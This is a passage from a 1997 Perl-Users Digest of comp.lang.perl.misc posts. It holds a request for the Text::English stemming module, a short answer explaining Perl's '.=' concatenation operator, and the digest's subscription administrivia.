> In article <gene-ya02408000R2309971623320001@corp.supernews.com>,
> gene@moreinfo.com (Gene Hsu) writes:
> > Does anyone know where to find this module? I haven't been able to find
> > it in CPAN, though it's mentioned (barely) in one of the author lists.
> > I'd like to get it so I can try out some of the Information Retrieval stuff
> > from the perl journal.
>
> from the modules list on CPAN:
>
> Text::
> ::English adpf English language stemming IANPX
No sign on CPAN. And IANPX wrote the stemming algorithm, not the
Text::English module itself.
Ian said to me directly...
> Sorry, not mine. I did write a stemming algorithm, which I'll dig out if
> it's missing and you need it, but I didn't do anything else in that
> module. Best ask on the newsgroup if there's really no sign of it.
>
> Ian
So my original question still needs an answer. Can anyone show me where to
find it/send me a copy? TIA
-- Gene
------------------------------
Date: 24 Sep 1997 12:10:23 +1000
From: greg@turing.une.edu.au (Greg Zevin)
Subject: Re: What does the . operator do?
Message-Id: <609sqf$sn8@turing.une.edu.au>
Nate <nate@wvecomputers.net> writes:
>what exactly does the . operator do.. for instance:
> $data{'new_item'} .="; " if $data{'new_item'};
>Thanks for any help anyone can offer.
>Nathan Stitt
>nate@wavecomputers.net
Well, if you're lazy enough to RTFM, the explanation is
that "." is a concatenation. I hope you won't ask why it's combined
with the equal sign :)))
Greg
------------------------------
Date: 8 Mar 97 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 8 Mar 97)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.
The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V8 Issue 1074
**************************************